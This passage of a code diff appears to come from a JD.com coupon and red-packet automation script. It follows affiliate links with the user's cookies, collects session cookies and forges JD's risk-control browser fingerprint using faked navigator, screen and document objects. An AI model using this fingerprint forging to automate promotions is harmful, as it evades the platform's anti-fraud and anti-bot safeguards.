console.log(`获得红包:${res.data.discount}元`) + } else if (res.data.type == 3) { + console.log(`获得优惠券:️满${res.data.quota}减${res.data.discount}`) + } else if (res.data.type == 6) { + console.log(`获得打折券:满${res.data.quota}打${res.data.discount * 10}折`) + } else { + console.log(`获得未知${res.data.quota || ''} ${res.data.discount}`) + console.log(data) + } + } + } else { + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function getInfo2() { + return new Promise(resolve => { + const options = { + url: $.url1, + followRedirect: false, + headers: { + 'Cookie': `${cookie} ${$.newCookie}`, + 'user-agent': $.UA + } + } + $.get(options, async (err, resp, data) => { + try { + let setcookies = resp && resp['headers'] && (resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '') || '' + let setcookie = '' + if (setcookies) { + if (typeof setcookies != 'object') { + setcookie = setcookies.split(',') + } else setcookie = setcookies + for (let ck of setcookie) { + let name = ck.split(";")[0].trim() + if (name.split("=")[1]) { + if ($.newCookie.indexOf(name.split("=")[1]) == -1) $.newCookie += name.replace(/ /g, '') + '; ' + } + } + } + $.url2 = resp && resp['headers'] && (resp['headers']['location'] || resp['headers']['Location'] || '') || '' + $.url2 = decodeURIComponent($.url2) + $.url2 = $.url2.match(/(https:\/\/prodev\.m\.jd\.com\/mall[^'"]+)/) && $.url2.match(/(https:\/\/prodev\.m\.jd\.com\/mall[^'"]+)/)[1] || '' + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +async function getInfo1(cookie) { + return new Promise(resolve => { + const options = { + url: `https://u.jd.com/${$.code}?s=${$.shareCode}`, + followRedirect: false, + headers: { + 'Cookie': cookie, + 'user-agent': $.UA + } + } + $.get(options, async (err, resp, data) => { + try { + let setcookies = resp && resp['headers'] && (resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '') || ''; + let setcookie = '' + if (setcookies) { + if (typeof setcookies != 'object') { + setcookie = setcookies.split(',') + } else setcookie = setcookies + for (let ck of setcookie) { + let name = ck.split(";")[0].trim() + if (name.split("=")[1]) { + if ($.newCookie.indexOf(name.split("=")[1]) == -1) $.newCookie += name.replace(/ /g, '') + '; ' + } + } + } + $.url1 = data.match(/(https:\/\/u\.jd\.com\/jda[^']+)/) && data.match(/(https:\/\/u\.jd\.com\/jda[^']+)/)[1] || '' + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +const navigator = { + userAgent: require('./USER_AGENTS').USER_AGENT, + plugins: {length: 0}, + language: "zh-CN", +}; +const screen = { + availHeight: 812, + availWidth: 375, + colorDepth: 24, + height: 812, + width: 375, + pixelDepth: 24, + +} +const window = {} +const document = { + location: { + "ancestorOrigins": {}, + "href": "https://prodev.m.jd.com/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "origin": "https://prodev.m.jd.com", + "protocol": "https:", + "host": "prodev.m.jd.com", + "hostname": "prodev.m.jd.com", + "port": "", + "pathname": "/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "search": "", + "hash": "" + } +}; +var start_time = (new Date).getTime(), + _jdfp_canvas_md5 = "", + _jdfp_webgl_md5 = "", + _fingerprint_step = 1, + _JdEid = "", + _eidFlag = !1, + risk_jd_local_fingerprint = "", + _jd_e_joint_; + +function t(a) { + if (null == a || void 0 == a || "" == a) return "NA"; + if (null == a || void 0 == a || "" == a) var b = ""; + else { + b = []; + for (var c = 0; c < 8 * a.length; c += 8) b[c >> 5] |= (a.charCodeAt(c / 8) & 255) << c % 32 + } + a = 8 * a.length; + b[a >> 5] |= 128 << a % 32; + b[(a + 64 >>> 9 << 4) + 14] = a; + a = 1732584193; + c = -271733879; + for (var l = -1732584194, h = 271733878, q = 0; q < b.length; q += 16) { + var z = a, + C = c, + D = l, + B = h; + a = v(a, c, l, h, b[q + 0], 7, -680876936); + h = v(h, a, c, l, b[q + 1], 12, -389564586); + l = v(l, h, a, c, b[q + 2], 17, 606105819); + c = v(c, l, h, a, b[q + 3], 22, -1044525330); + a = v(a, c, l, h, b[q + 4], 7, -176418897); + h = v(h, a, c, l, b[q + 5], 12, 1200080426); + l = v(l, h, a, c, b[q + 6], 17, -1473231341); + c = v(c, l, h, a, b[q + 7], 22, -45705983); + a = v(a, c, l, h, b[q + 8], 7, 1770035416); + h = v(h, a, c, l, b[q + 9], 12, -1958414417); + l = v(l, h, a, c, b[q + 10], 17, -42063); + c = v(c, l, h, a, b[q + 11], 22, -1990404162); + a = v(a, c, l, h, b[q + 12], 7, 1804603682); + h = v(h, a, c, l, b[q + 13], 12, -40341101); + l = v(l, h, a, c, b[q + 14], 17, -1502002290); + c = v(c, l, h, a, b[q + 15], 22, 1236535329); + a = x(a, c, l, h, b[q + 1], 5, -165796510); + h = x(h, a, c, l, b[q + 6], 9, -1069501632); + l = x(l, h, a, c, b[q + 11], 14, 643717713); + c = x(c, l, h, a, b[q + 0], 20, -373897302); + a = x(a, c, l, h, b[q + 5], 5, -701558691); + h = x(h, a, c, l, b[q + 10], 9, 38016083); + l = x(l, h, a, c, b[q + 15], 14, -660478335); + c = x(c, l, h, a, b[q + 4], 20, -405537848); + a = x(a, c, l, h, b[q + 9], 5, 568446438); + h = x(h, a, c, l, b[q + 14], 9, -1019803690); + l = x(l, h, a, c, b[q + 3], 14, -187363961); + c = x(c, l, h, a, b[q + 8], 20, 1163531501); + a = x(a, c, l, h, b[q + 13], 5, -1444681467); + h = x(h, a, c, l, b[q + 2], 9, -51403784); + l = x(l, h, a, c, b[q + 7], 14, 1735328473); + c = x(c, l, h, a, b[q + 12], 20, -1926607734); + a = u(c ^ l ^ h, a, c, b[q + 5], 4, -378558); + h = u(a ^ c ^ l, h, a, b[q + 8], 11, -2022574463); + l = u(h ^ a ^ c, l, h, b[q + 11], 16, 1839030562); + c = u(l ^ h ^ a, c, l, b[q + 14], 23, -35309556); + a = u(c ^ l ^ h, a, c, b[q + 1], 4, -1530992060); + h = u(a ^ c ^ l, h, a, b[q + 4], 11, 1272893353); + l = u(h ^ a ^ c, l, h, b[q + 7], 16, -155497632); + c = u(l ^ h ^ a, c, l, b[q + 10], 23, -1094730640); + a = u(c ^ l ^ h, a, c, b[q + 13], 4, 681279174); + h = u(a ^ c ^ l, h, a, b[q + 0], 11, -358537222); + l = u(h ^ a ^ c, l, h, b[q + 3], 16, -722521979); + c = u(l ^ h ^ a, c, l, b[q + 6], 23, 76029189); + a = u(c ^ l ^ h, a, c, b[q + 9], 4, -640364487); + h = u(a ^ c ^ l, h, a, b[q + 12], 11, -421815835); + l = u(h ^ a ^ c, l, h, b[q + 15], 16, 530742520); + c = u(l ^ h ^ a, c, l, b[q + 2], 23, -995338651); + a = w(a, c, l, h, b[q + 0], 6, -198630844); + h = w(h, a, c, l, b[q + 7], 10, 1126891415); + l = w(l, h, a, c, b[q + 14], 15, -1416354905); + c = w(c, l, h, a, b[q + 5], 21, -57434055); + a = w(a, c, l, h, b[q + 12], 6, 1700485571); + h = w(h, a, c, l, b[q + 3], 10, -1894986606); + l = w(l, h, a, c, b[q + 10], 15, -1051523); + c = w(c, l, h, a, b[q + 1], 21, -2054922799); + a = w(a, c, l, h, b[q + 8], 6, 1873313359); + h = w(h, a, c, l, b[q + 15], 10, -30611744); + l = w(l, h, a, c, b[q + 6], 15, -1560198380); + c = w(c, l, h, a, b[q + 13], 21, 1309151649); + a = w(a, c, l, h, b[q + 4], 6, -145523070); + h = w(h, a, c, l, b[q + 11], 10, -1120210379); + l = w(l, h, a, c, b[q + 2], 15, 718787259); + c = w(c, l, h, a, b[q + 9], 21, -343485551); + a = A(a, z); + c = A(c, C); + l = A(l, D); + h = A(h, B) + } + b = [a, c, l, h]; + a = ""; + for (c = 0; c < 4 * b.length; c++) a += "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 + 4 & 15) + + "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 & 15); + return a +} + +function u(a, b, c, l, h, q) { + a = A(A(b, a), A(l, q)); + return A(a << h | a >>> 32 - h, c) +} + +function v(a, b, c, l, h, q, z) { + return u(b & c | ~b & l, a, b, h, q, z) +} + +function x(a, b, c, l, h, q, z) { + return u(b & l | c & ~l, a, b, h, q, z) +} + +function w(a, b, c, l, h, q, z) { + return u(c ^ (b | ~l), a, b, h, q, z) +} + +function A(a, b) { + var c = (a & 65535) + (b & 65535); + return (a >> 16) + (b >> 16) + (c >> 16) << 16 | c & 65535 +} + +_fingerprint_step = 2; +var y = "", + n = navigator.userAgent.toLowerCase(); +n.indexOf("jdapp") && (n = n.substring(0, 90)); +var e = navigator.language, + f = n; +-1 != f.indexOf("ipad") || -1 != f.indexOf("iphone os") || -1 != f.indexOf("midp") || -1 != f.indexOf( + "rv:1.2.3.4") || -1 != f.indexOf("ucweb") || -1 != f.indexOf("android") || -1 != f.indexOf("windows ce") || +f.indexOf("windows mobile"); +var r = "NA", + k = "NA"; +try { + -1 != f.indexOf("win") && -1 != f.indexOf("95") && (r = "windows", k = "95"), -1 != f.indexOf("win") && -1 != + f.indexOf("98") && (r = "windows", k = "98"), -1 != f.indexOf("win 9x") && -1 != f.indexOf("4.90") && ( + r = "windows", k = "me"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.0") && (r = "windows", k = + "2000"), -1 != f.indexOf("win") && -1 != f.indexOf("nt") && (r = "windows", k = "NT"), -1 != f.indexOf( + "win") && -1 != f.indexOf("nt 5.1") && (r = "windows", k = "xp"), -1 != f.indexOf("win") && -1 != f + .indexOf("32") && (r = "windows", k = "32"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.1") && (r = + "windows", k = "7"), -1 != f.indexOf("win") && -1 != f.indexOf("6.0") && (r = "windows", k = "8"), + -1 == f.indexOf("win") || -1 == f.indexOf("nt 6.0") && -1 == f.indexOf("nt 6.1") || (r = "windows", k = + "9"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 6.2") && (r = "windows", k = "10"), -1 != f.indexOf( + "linux") && (r = "linux"), -1 != f.indexOf("unix") && (r = "unix"), -1 != f.indexOf("sun") && -1 != + f.indexOf("os") && (r = "sun os"), -1 != f.indexOf("ibm") && -1 != f.indexOf("os") && (r = "ibm os/2"), + -1 != f.indexOf("mac") && -1 != f.indexOf("pc") && (r = "mac"), -1 != f.indexOf("aix") && (r = "aix"), + -1 != f.indexOf("powerpc") && (r = "powerPC"), -1 != f.indexOf("hpux") && (r = "hpux"), -1 != f.indexOf( + "netbsd") && (r = "NetBSD"), -1 != f.indexOf("bsd") && (r = "BSD"), -1 != f.indexOf("osf1") && (r = + "OSF1"), -1 != f.indexOf("irix") && (r = "IRIX", k = ""), -1 != f.indexOf("freebsd") && (r = + "FreeBSD"), -1 != f.indexOf("symbianos") && (r = "SymbianOS", k = f.substring(f.indexOf( + "SymbianOS/") + 10, 3)) +} catch (a) { +} +_fingerprint_step = 3; +var g = "NA", + m = "NA"; +try { + -1 != f.indexOf("msie") && (g = "ie", m = f.substring(f.indexOf("msie ") + 5), m.indexOf(";") && (m = m.substring( + 0, m.indexOf(";")))); + -1 != f.indexOf("firefox") && (g = "Firefox", m = f.substring(f.indexOf( + "firefox/") + 8)); + -1 != f.indexOf("opera") && (g = "Opera", m = f.substring(f.indexOf("opera/") + 6, + 4)); + -1 != f.indexOf("safari") && (g = "safari", m = f.substring(f.indexOf("safari/") + 7)); + -1 != f.indexOf( + "chrome") && (g = "chrome", m = f.substring(f.indexOf("chrome/") + 7), m.indexOf(" ") && (m = m.substring( + 0, m.indexOf(" ")))); + -1 != f.indexOf("navigator") && (g = "navigator", m = f.substring(f.indexOf( + "navigator/") + 10)); + -1 != f.indexOf("applewebkit") && (g = "applewebkit_chrome", m = f.substring(f.indexOf( + "applewebkit/") + 12), m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); + -1 != f.indexOf( + "sogoumobilebrowser") && (g = "\u641c\u72d7\u624b\u673a\u6d4f\u89c8\u5668"); + if (-1 != f.indexOf("ucbrowser") || -1 != f.indexOf("ucweb")) g = "UC\u6d4f\u89c8\u5668"; + if (-1 != f.indexOf("qqbrowser") || -1 != f.indexOf("tencenttraveler")) g = "QQ\u6d4f\u89c8\u5668"; + -1 != + f.indexOf("metasr") && (g = "\u641c\u72d7\u6d4f\u89c8\u5668"); + -1 != f.indexOf("360se") && (g = + "360\u6d4f\u89c8\u5668"); + -1 != f.indexOf("the world") && (g = + "\u4e16\u754c\u4e4b\u7a97\u6d4f\u89c8\u5668"); + -1 != f.indexOf("maxthon") && (g = + "\u9068\u6e38\u6d4f\u89c8\u5668") +} catch (a) { +} + +class JdJrTdRiskFinger { + f = { + options: function () { + return {} + }, + nativeForEach: Array.prototype.forEach, + nativeMap: Array.prototype.map, + extend: function (a, b) { + if (null == a) return b; + for (var c in a) null != a[c] && b[c] !== a[c] && (b[c] = a[c]); + return b + }, + getData: function () { + return y + }, + get: function (a) { + var b = 1 * m, + c = []; + "ie" == g && 7 <= b ? (c.push(n), c.push(e), y = y + ",'userAgent':'" + t(n) + "','language':'" + + e + "'", this.browserRedirect(n)) : (c = this.userAgentKey(c), c = this.languageKey(c)); + c.push(g); + c.push(m); + c.push(r); + c.push(k); + y = y + ",'os':'" + r + "','osVersion':'" + k + "','browser':'" + g + "','browserVersion':'" + + m + "'"; + c = this.colorDepthKey(c); + c = this.screenResolutionKey(c); + c = this.timezoneOffsetKey(c); + c = this.sessionStorageKey(c); + c = this.localStorageKey(c); + c = this.indexedDbKey(c); + c = this.addBehaviorKey(c); + c = this.openDatabaseKey(c); + c = this.cpuClassKey(c); + c = this.platformKey(c); + c = this.hardwareConcurrencyKey(c); + c = this.doNotTrackKey(c); + c = this.pluginsKey(c); + c = this.canvasKey(c); + c = this.webglKey(c); + b = this.x64hash128(c.join("~~~"), 31); + return a(b) + }, + userAgentKey: function (a) { + a.push(navigator.userAgent), y = y + ",'userAgent':'" + t( + navigator.userAgent) + "'", this.browserRedirect(navigator.userAgent); + return a + }, + replaceAll: function (a, b, c) { + for (; 0 <= a.indexOf(b);) a = a.replace(b, c); + return a + }, + browserRedirect: function (a) { + var b = a.toLowerCase(); + a = "ipad" == b.match(/ipad/i); + var c = "iphone os" == b.match(/iphone os/i), + l = "midp" == b.match(/midp/i), + h = "rv:1.2.3.4" == b.match(/rv:1.2.3.4/i), + q = "ucweb" == b.match(/ucweb/i), + z = "android" == b.match(/android/i), + C = "windows ce" == b.match(/windows ce/i); + b = "windows mobile" == b.match(/windows mobile/i); + y = a || c || l || h || q || z || C || b ? y + ",'origin':'mobile'" : y + ",'origin':'pc'" + }, + languageKey: function (a) { + '' || (a.push(navigator.language), y = y + ",'language':'" + this.replaceAll( + navigator.language, " ", "_") + "'"); + return a + }, + colorDepthKey: function (a) { + '' || (a.push(screen.colorDepth), y = y + ",'colorDepth':'" + + screen.colorDepth + "'"); + return a + }, + screenResolutionKey: function (a) { + if (!this.options.excludeScreenResolution) { + var b = this.getScreenResolution(); + "undefined" !== typeof b && (a.push(b.join("x")), y = y + ",'screenResolution':'" + b.join( + "x") + "'") + } + return a + }, + getScreenResolution: function () { + return this.options.detectScreenOrientation ? screen.height > screen.width ? [screen.height, + screen.width] : [screen.width, screen.height] : [screen.height, screen.width] + }, + timezoneOffsetKey: function (a) { + this.options.excludeTimezoneOffset || (a.push((new Date).getTimezoneOffset()), y = y + + ",'timezoneOffset':'" + (new Date).getTimezoneOffset() / 60 + "'"); + return a + }, + sessionStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasSessionStorage() && (a.push("sessionStorageKey"), + y += ",'sessionStorage':true"); + return a + }, + localStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasLocalStorage() && (a.push("localStorageKey"), y += + ",'localStorage':true"); + return a + }, + indexedDbKey: function (a) { + !this.options.excludeIndexedDB && this.hasIndexedDB() && (a.push("indexedDbKey"), y += + ",'indexedDb':true"); + return a + }, + addBehaviorKey: function (a) { + document.body && !this.options.excludeAddBehavior && document.body.addBehavior ? (a.push( + "addBehaviorKey"), y += ",'addBehavior':true") : y += ",'addBehavior':false"; + return a + }, + openDatabaseKey: function (a) { + !this.options.excludeOpenDatabase && window.openDatabase ? (a.push("openDatabase"), y += + ",'openDatabase':true") : y += ",'openDatabase':false"; + return a + }, + cpuClassKey: function (a) { + this.options.excludeCpuClass || (a.push(this.getNavigatorCpuClass()), y = y + ",'cpu':'" + this + .getNavigatorCpuClass() + "'"); + return a + }, + platformKey: function (a) { + this.options.excludePlatform || (a.push(this.getNavigatorPlatform()), y = y + ",'platform':'" + + this.getNavigatorPlatform() + "'"); + return a + }, + hardwareConcurrencyKey: function (a) { + var b = this.getHardwareConcurrency(); + a.push(b); + y = y + ",'ccn':'" + b + "'"; + return a + }, + doNotTrackKey: function (a) { + this.options.excludeDoNotTrack || (a.push(this.getDoNotTrack()), y = y + ",'track':'" + this.getDoNotTrack() + + "'"); + return a + }, + canvasKey: function (a) { + if (!this.options.excludeCanvas && this.isCanvasSupported()) { + var b = this.getCanvasFp(); + a.push(b); + _jdfp_canvas_md5 = t(b); + y = y + ",'canvas':'" + _jdfp_canvas_md5 + "'" + } + return a + }, + webglKey: function (a) { + if (!this.options.excludeWebGL && this.isCanvasSupported()) { + var b = this.getWebglFp(); + _jdfp_webgl_md5 = t(b); + a.push(b); + y = y + ",'webglFp':'" + _jdfp_webgl_md5 + "'" + } + return a + }, + pluginsKey: function (a) { + this.isIE() ? (a.push(this.getIEPluginsString()), y = y + ",'plugins':'" + t(this.getIEPluginsString()) + + "'") : (a.push(this.getRegularPluginsString()), y = y + ",'plugins':'" + t(this.getRegularPluginsString()) + + "'"); + return a + }, + getRegularPluginsString: function () { + return this.map(navigator.plugins, function (a) { + var b = this.map(a, function (c) { + return [c.type, c.suffixes].join("~") + }).join(","); + return [a.name, a.description, b].join("::") + }, this).join(";") + }, + getIEPluginsString: function () { + return window.ActiveXObject ? this.map( + "AcroPDF.PDF;Adodb.Stream;AgControl.AgControl;DevalVRXCtrl.DevalVRXCtrl.1;MacromediaFlashPaper.MacromediaFlashPaper;Msxml2.DOMDocument;Msxml2.XMLHTTP;PDF.PdfCtrl;QuickTime.QuickTime;QuickTimeCheckObject.QuickTimeCheck.1;RealPlayer;RealPlayer.RealPlayer(tm) ActiveX Control (32-bit);RealVideo.RealVideo(tm) ActiveX Control (32-bit);Scripting.Dictionary;SWCtl.SWCtl;Shell.UIHelper;ShockwaveFlash.ShockwaveFlash;Skype.Detection;TDCCtl.TDCCtl;WMPlayer.OCX;rmocx.RealPlayer G2 Control;rmocx.RealPlayer G2 Control.1" + .split(";"), + function (a) { + try { + return new ActiveXObject(a), a + } catch (b) { + return null + } + }).join(";") : "" + }, + hasSessionStorage: function () { + try { + return !!window.sessionStorage + } catch (a) { + return !0 + } + }, + hasLocalStorage: function () { + try { + return !!window.localStorage + } catch (a) { + return !0 + } + }, + hasIndexedDB: function () { + return true + return !!window.indexedDB + }, + getNavigatorCpuClass: function () { + return navigator.cpuClass ? navigator.cpuClass : "NA" + }, + getNavigatorPlatform: function () { + return navigator.platform ? navigator.platform : "NA" + }, + getHardwareConcurrency: function () { + return navigator.hardwareConcurrency ? navigator.hardwareConcurrency : "NA" + }, + getDoNotTrack: function () { + return navigator.doNotTrack ? navigator.doNotTrack : "NA" + }, + getCanvasFp: function () { + return ''; + var a = navigator.userAgent.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = document.createElement("canvas"); + var b = a.getContext("2d"); + b.fillStyle = "red"; + b.fillRect(30, 10, 200, 100); + b.strokeStyle = "#1a3bc1"; + b.lineWidth = 6; + b.lineCap = "round"; + b.arc(50, 50, 20, 0, Math.PI, !1); + b.stroke(); + b.fillStyle = "#42e1a2"; + b.font = "15.4px 'Arial'"; + b.textBaseline = "alphabetic"; + b.fillText("PR flacks quiz gym: TV DJ box when? \u2620", 15, 60); + b.shadowOffsetX = 1; + b.shadowOffsetY = 2; + b.shadowColor = "white"; + b.fillStyle = "rgba(0, 0, 200, 0.5)"; + b.font = "60px 'Not a real font'"; + b.fillText("No\u9a97", 40, 80); + return a.toDataURL() + }, + getWebglFp: function () { + var a = navigator.userAgent; + a = a.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = function (D) { + b.clearColor(0, 0, 0, 1); + b.enable(b.DEPTH_TEST); + b.depthFunc(b.LEQUAL); + b.clear(b.COLOR_BUFFER_BIT | b.DEPTH_BUFFER_BIT); + return "[" + D[0] + ", " + D[1] + "]" + }; + var b = this.getWebglCanvas(); + if (!b) return null; + var c = [], + l = b.createBuffer(); + b.bindBuffer(b.ARRAY_BUFFER, l); + var h = new Float32Array([-.2, -.9, 0, .4, -.26, 0, 0, .732134444, 0]); + b.bufferData(b.ARRAY_BUFFER, h, b.STATIC_DRAW); + l.itemSize = 3; + l.numItems = 3; + h = b.createProgram(); + var q = b.createShader(b.VERTEX_SHADER); + b.shaderSource(q, + "attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}" + ); + b.compileShader(q); + var z = b.createShader(b.FRAGMENT_SHADER); + b.shaderSource(z, + "precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}" + ); + b.compileShader(z); + b.attachShader(h, q); + b.attachShader(h, z); + b.linkProgram(h); + b.useProgram(h); + h.vertexPosAttrib = b.getAttribLocation(h, "attrVertex"); + h.offsetUniform = b.getUniformLocation(h, "uniformOffset"); + b.enableVertexAttribArray(h.vertexPosArray); + b.vertexAttribPointer(h.vertexPosAttrib, l.itemSize, b.FLOAT, !1, 0, 0); + b.uniform2f(h.offsetUniform, 1, 1); + b.drawArrays(b.TRIANGLE_STRIP, 0, l.numItems); + null != b.canvas && c.push(b.canvas.toDataURL()); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("w1" + a(b.getParameter(b.ALIASED_LINE_WIDTH_RANGE))); + c.push("w2" + a(b.getParameter(b.ALIASED_POINT_SIZE_RANGE))); + c.push("w3" + b.getParameter(b.ALPHA_BITS)); + c.push("w4" + (b.getContextAttributes().antialias ? "yes" : "no")); + c.push("w5" + b.getParameter(b.BLUE_BITS)); + c.push("w6" + b.getParameter(b.DEPTH_BITS)); + c.push("w7" + b.getParameter(b.GREEN_BITS)); + c.push("w8" + function (D) { + var B, F = D.getExtension("EXT_texture_filter_anisotropic") || D.getExtension( + "WEBKIT_EXT_texture_filter_anisotropic") || D.getExtension( + "MOZ_EXT_texture_filter_anisotropic"); + return F ? (B = D.getParameter(F.MAX_TEXTURE_MAX_ANISOTROPY_EXT), 0 === B && (B = 2), + B) : null + }(b)); + c.push("w9" + b.getParameter(b.MAX_COMBINED_TEXTURE_IMAGE_UNITS)); + c.push("w10" + b.getParameter(b.MAX_CUBE_MAP_TEXTURE_SIZE)); + c.push("w11" + b.getParameter(b.MAX_FRAGMENT_UNIFORM_VECTORS)); + c.push("w12" + b.getParameter(b.MAX_RENDERBUFFER_SIZE)); + c.push("w13" + b.getParameter(b.MAX_TEXTURE_IMAGE_UNITS)); + c.push("w14" + b.getParameter(b.MAX_TEXTURE_SIZE)); + c.push("w15" + b.getParameter(b.MAX_VARYING_VECTORS)); + c.push("w16" + b.getParameter(b.MAX_VERTEX_ATTRIBS)); + c.push("w17" + b.getParameter(b.MAX_VERTEX_TEXTURE_IMAGE_UNITS)); + c.push("w18" + b.getParameter(b.MAX_VERTEX_UNIFORM_VECTORS)); + c.push("w19" + a(b.getParameter(b.MAX_VIEWPORT_DIMS))); + c.push("w20" + b.getParameter(b.RED_BITS)); + c.push("w21" + b.getParameter(b.RENDERER)); + c.push("w22" + b.getParameter(b.SHADING_LANGUAGE_VERSION)); + c.push("w23" + b.getParameter(b.STENCIL_BITS)); + c.push("w24" + b.getParameter(b.VENDOR)); + c.push("w25" + b.getParameter(b.VERSION)); + try { + var C = b.getExtension("WEBGL_debug_renderer_info"); + C && (c.push("wuv:" + b.getParameter(C.UNMASKED_VENDOR_WEBGL)), c.push("wur:" + b.getParameter( + C.UNMASKED_RENDERER_WEBGL))) + } catch (D) { + } + return c.join("\u00a7") + }, + isCanvasSupported: function () { + return true; + var a = document.createElement("canvas"); + return !(!a.getContext || !a.getContext("2d")) + }, + isIE: function () { + return "Microsoft Internet Explorer" === navigator.appName || "Netscape" === navigator.appName && + /Trident/.test(navigator.userAgent) ? !0 : !1 + }, + getWebglCanvas: function () { + return null; + var a = document.createElement("canvas"), + b = null; + try { + var c = navigator.userAgent; + c = c.toLowerCase(); + (0 < c.indexOf("jdjr-app") || 0 <= c.indexOf("jdapp")) && (0 < c.indexOf("iphone") || 0 < c + .indexOf("ipad")) || (b = a.getContext("webgl") || a.getContext("experimental-webgl")) + } catch (l) { + } + b || (b = null); + return b + }, + each: function (a, b, c) { + if (null !== a) + if (this.nativeForEach && a.forEach === this.nativeForEach) a.forEach(b, c); + else if (a.length === +a.length) + for (var l = 0, h = a.length; l < h && b.call(c, a[l], l, a) !== {}; l++) ; + else + for (l in a) + if (a.hasOwnProperty(l) && b.call(c, a[l], l, a) === {}) break + }, + map: function (a, b, c) { + var l = []; + if (null == a) return l; + if (this.nativeMap && a.map === this.nativeMap) return a.map(b, c); + this.each(a, function (h, q, z) { + l[l.length] = b.call(c, h, q, z) + }); + return l + }, + x64Add: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] + b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] + b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] + b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] + b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Multiply: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] * b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] * b[3]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[2] += a[3] * b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] * b[3]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[2] * b[2]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[3] * b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] * b[3] + a[1] * b[2] + a[2] * b[1] + a[3] * b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Rotl: function (a, b) { + b %= 64; + if (32 === b) return [a[1], a[0]]; + if (32 > b) return [a[0] << b | a[1] >>> 32 - b, a[1] << b | a[0] >>> 32 - b]; + b -= 32; + return [a[1] << b | a[0] >>> 32 - b, a[0] << b | a[1] >>> 32 - b] + }, + x64LeftShift: function (a, b) { + b %= 64; + return 0 === b ? a : 32 > b ? [a[0] << b | a[1] >>> 32 - b, a[1] << b] : [a[1] << b - 32, 0] + }, + x64Xor: function (a, b) { + return [a[0] ^ b[0], a[1] ^ b[1]] + }, + x64Fmix: function (a) { + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [4283543511, 3981806797]); + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [3301882366, 444984403]); + return a = this.x64Xor(a, [0, a[0] >>> 1]) + }, + x64hash128: function (a, b) { + a = a || ""; + b = b || 0; + var c = a.length % 16, + l = a.length - c, + h = [0, b]; + b = [0, b]; + for (var q, z, C = [2277735313, 289559509], D = [1291169091, 658871167], B = 0; B < l; B += 16) + q = [a.charCodeAt(B + 4) & 255 | (a.charCodeAt(B + 5) & 255) << 8 | (a.charCodeAt(B + 6) & + 255) << 16 | (a.charCodeAt(B + 7) & 255) << 24, a.charCodeAt(B) & 255 | (a.charCodeAt( + B + 1) & 255) << 8 | (a.charCodeAt(B + 2) & 255) << 16 | (a.charCodeAt(B + 3) & 255) << + 24], z = [a.charCodeAt(B + 12) & 255 | (a.charCodeAt(B + 13) & 255) << 8 | (a.charCodeAt( + B + 14) & 255) << 16 | (a.charCodeAt(B + 15) & 255) << 24, a.charCodeAt(B + 8) & + 255 | (a.charCodeAt(B + 9) & 255) << 8 | (a.charCodeAt(B + 10) & 255) << 16 | (a.charCodeAt( + B + 11) & 255) << 24], q = this.x64Multiply(q, C), q = this.x64Rotl(q, 31), q = + this.x64Multiply(q, D), h = this.x64Xor(h, q), h = this.x64Rotl(h, 27), h = this.x64Add(h, + b), h = this.x64Add(this.x64Multiply(h, [0, 5]), [0, 1390208809]), z = this.x64Multiply( + z, D), z = this.x64Rotl(z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z), b = + this.x64Rotl(b, 31), b = this.x64Add(b, h), b = this.x64Add(this.x64Multiply(b, [0, 5]), [0, + 944331445]); + q = [0, 0]; + z = [0, 0]; + switch (c) { + case 15: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 14)], 48)); + case 14: + z = this.x64Xor(z, 